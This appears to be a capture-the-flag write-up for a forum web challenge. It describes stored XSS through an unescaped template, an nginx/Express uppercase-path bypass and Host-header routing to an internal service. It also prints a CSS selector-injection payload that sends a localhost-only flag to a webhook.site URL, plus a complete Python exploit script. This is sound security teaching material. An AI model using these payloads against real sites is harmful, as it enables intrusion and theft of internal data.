$ cat writeup.md…
$ cat writeup.md…
umasscybersec
Task: a forum app exposed stored XSS, a wildcard Host-based proxy, and captain-only endpoints hidden behind nginx path filters. Solution: bypass the lowercase proxy block with uppercase Express routes, make the bot visit the XSS page, and leak the localhost-only treasure through CSS selector injection.
Organizer description was not preserved in the local task files.
English summary: the challenge provided a forum-style web app plus hidden captain functionality. The goal was to pivot from a stored XSS in user profiles to an internal service, then exfiltrate a localhost-only flag despite same-origin and CORS restrictions.
After downloading the assets and reviewing the source, the first useful bug appeared in the profile page template:
{{ p.content | safe }}
That made /user/:username a stored XSS sink. Any JavaScript placed in a forum post or profile content would execute when that profile page was rendered.
The next interesting components were the captain endpoints:
/call-captain/treasureAt first glance they looked unreachable because nginx explicitly blocked those lowercase paths. However, the deployment also used a wildcard subdomain proxy that routed requests by Host. By sending a host like 10.128.6.2.<instancehost>, traffic could be forwarded to the internal captain service.
The key bypass was a mismatch between the reverse proxy and the backend:
That meant /CALL-CAPTAIN was not caught by nginx's lowercase deny rule, but Express still treated it as /call-captain and served the captain logic. The same applied to /TREASURE, but the captain service itself still limited /treasure to localhost, so an extra pivot was required.
This naturally suggested using the bot. By requesting:
GET /CALL-CAPTAIN?endpoint=/user/<attacker_username> Host: 10.128.6.2.<instancehost>
the captain bot was convinced to visit our stored-XSS profile page from inside the internal network context.
The first idea was the obvious one: let the XSS run fetch('https://127.0.0.1/treasure') and exfiltrate the response body. That failed because the browser blocked access to the response via CORS. The bot could make the request, but our JavaScript could not read the returned data.
The breakthrough came from the response format. /treasure returned text/css, and it reflected the name parameter before the flag in a string like here is your treasure .... Because the browser was willing to load cross-origin CSS as a stylesheet, the flag no longer needed to be read with JavaScript. Instead, it could be leaked through CSS parsing side effects.
Naive payloads that simply injected something after a semicolon did not work reliably because the fixed prefix here is your treasure came before our input and broke the stylesheet grammar. The successful trick was selector-list injection. By starting the reflected name with something like:
,body{background:url(https://webhook.site/<uuid>?m=b&d=\
the full server response became valid CSS. The leading comma appended a new selector, body{...} created a rule that forced the browser to fetch our webhook URL, and the trailing backslash escaped the inserted space before the flag. As a result, the flag text that followed in the reflected response was absorbed into the url(...) token and sent to our webhook.
Observed webhook hits looked like:
https://webhook.site/<uuid>?m=b&d=%20UMASS{...}
which cleanly revealed the flag.
Download and inspect the challenge assets.
Find stored XSS in /user/:username because profile content is rendered with {{ p.content | safe }}.
Identify the hidden captain functionality behind /call-captain and /treasure.
Notice that nginx blocks only lowercase paths, while Express accepts uppercase variants.
Use the wildcard Host-based proxy with Host: 10.128.6.2.<instancehost> to route requests to the internal captain service.
Trigger the internal bot with /CALL-CAPTAIN?endpoint=/user/<username> so it visits the attacker-controlled profile page and executes the stored XSS.
Try direct JavaScript exfiltration from https://127.0.0.1/treasure and observe that CORS prevents reading the response.
Switch to CSS-based exfiltration because /treasure returns text/css and reflects name before the flag.
From XSS, inject a stylesheet pointing to:
https://127.0.0.1/treasure?name=,body{background:url(https://webhook.site/<uuid>?m=b&d=\
Let the browser parse the reflected CSS, request the webhook URL containing the flag, and recover the flag from the webhook logs.
#!/usr/bin/env python3 import sys import urllib.parse import requests def build_xss(webhook_url: str) -> str: css_prefix = ",body{background:url(" + webhook_url + "?m=b&d=\\" treasure_url = "https://127.0.0.1/treasure?name=" + urllib.parse.quote(css_prefix, safe="") return f'''<script> const link = document.createElement("link"); link.rel = "stylesheet"; link.href = "{treasure_url}"; document.head.appendChild(link); </script>''' def call_captain(base_url: str, instance_host: str, username: str): url = base_url.rstrip("/") + f"/CALL-CAPTAIN?endpoint=/user/{urllib.parse.quote(username)}" headers = {"Host": f"10.128.6.2.{instance_host}"} r = requests.get(url, headers=headers, timeout=10, allow_redirects=False) print("[+] Captain trigger status:", r.status_code) if __name__ == "__main__": if len(sys.argv) != 5: print(f"Usage: {sys.argv[0]} <base_url> <instancehost> <username> <webhook_url>") sys.exit(1) base_url, instance_host, username, webhook_url = sys.argv[1:5] payload = build_xss(webhook_url) print("[+] Store this payload in your forum profile content:\n") print(payload) print("\n[+] Then trigger the bot with the captain route.") call_captain(base_url, instance_host, username)
The important payload idea was not JavaScript-based reading of the flag, but forcing the browser to treat the localhost response as CSS and then making CSS syntax itself carry the secret into a request we could observe.
$ cat /etc/motd
Liked this one?
Pro unlocks every writeup, every flag, and API access. $9/mo.
$ cat pricing.md